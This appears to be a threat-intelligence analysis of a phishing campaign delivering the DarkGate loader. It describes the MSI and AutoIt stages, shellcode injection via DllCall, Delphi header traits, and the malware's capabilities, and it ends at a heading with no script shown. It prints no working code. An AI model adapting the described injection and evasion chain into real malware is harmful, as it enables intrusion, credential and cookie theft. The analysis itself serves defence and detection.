DarkGate Loader

x64 Delphi Loader unleashed by GreetingGhoul

A comprehensive analysis has been conducted on a widespread phishing campaign that has been targeting individuals globally over the past month. The culmination of this campaign’s execution chain results in the deployment of a malware known as DarkGate, which is classified as a loader-type malware.

Summary

It is noteworthy that DarkGate is exclusively distributed through underground online forums, with the developer maintaining strict control over the number of available licenses.

The threat actors behind this campaign have employed a high-volume distribution strategy, utilizing stolen email conversation threads to which they had gained access. This approach exploits the tendency of users to trust familiar communication patterns, potentially leading to infection among those unaware of such sophisticated social engineering tactics.

The campaign’s execution flow can be summarized as follows:

1. Geofence Check: The exact parameters for passing the geofence set by the threat actors remain under investigation. Analysis of successful payload retrievals on URLscan.io revealed the presence of a refresh header in the response, containing the URL for payload download.

   

2. MSI Loader: Upon successful geofence clearance, an MSI file is downloaded, following the naming convention: Project_[0-9]{7}.msi. This MSI file contains two embedded components:
   • CustomAction.dll
   • WrappedSetupProgram.cab

     

3. AutoIT Script: The CustomAction.dll is responsible for unpacking and executing the contents of WrappedSetupProgram.cab, which includes:
   • Autoit3.exe
   • UGtZgHHT.au3 (AutoIT 3 script)

     

   Context

   AutoIt is a legitimate Windows automation language, and AutoIt3.exe is its standard interpreter. Through DllCall a script can call Windows API functions directly, which is enough to allocate executable memory, copy shellcode into it and run it. Pairing the genuine interpreter with an obfuscated script therefore puts the malicious logic inside a legitimate, well-known process. Compiled AutoIt script data carries the marker AU3!EA06, which is what the hex view above highlights.

4. Shellcode Injection: The AutoIT script performs two primary functions:
   • Concatenation of segmented hex-encoded shellcode

     

   • Injection and execution of the shellcode

     

     

   Context

   The characters boxed in red above, M, Z and P, are the bytes 4D 5A 50 at the start of a DOS header, the header every Windows executable begins with. Microsoft’s linker writes MZ followed by 0x90 there, while Delphi (Embarcadero’s Object Pascal toolchain, originally Borland’s) traditionally writes MZP, so an MZP header is a quick hint that a PE was built with Delphi or another Borland-lineage tool. Delphi binaries also carry compiler-generated metadata (virtual method tables and RTTI) that names classes and many of their methods; Delphi-aware tools use it to recover program structure that a stripped C binary would not reveal.

5. Loader Analysis: The extracted loader is responsible for decoding and executing portions of the data stored within the AutoIT script, ultimately revealing the DarkGate loader.
6. DarkGate Analysis: The final payload, DarkGate, incorporates various capabilities, including:
   • HVNC (Hidden Virtual Network Computing): remote control through a hidden desktop the victim never sees
   • Cryptocurrency miner setup
   • Browser history and cookie theft
   • Remote Desktop Protocol (RDP) functionality
   • HiddenAnyDesk integration

The malware employs sophisticated obfuscation techniques, including custom Base64 encoding and XOR operations, to protect its configuration and network communications. Detailed analysis of these mechanisms has been conducted, and decryption scripts have been developed to facilitate further investigation.

In conclusion, this campaign demonstrates a high level of sophistication in its execution, combining social engineering tactics with advanced malware deployment techniques. The multi-stage nature of the attack, coupled with the use of legitimate-looking components and complex obfuscation methods, underscores the evolving landscape of cyber threats and the need for continued vigilance and advanced detection capabilities.

Objective

• Assess the dangers and capabilities of the submitted Sample & C2 platform
• Uncover HiddenAnydesk Methodology to submit for patch
• Provide extracted, de-obfuscated Loading method (AutoIT)

Anydesk Invoke Script Extracted (Deobfuscated)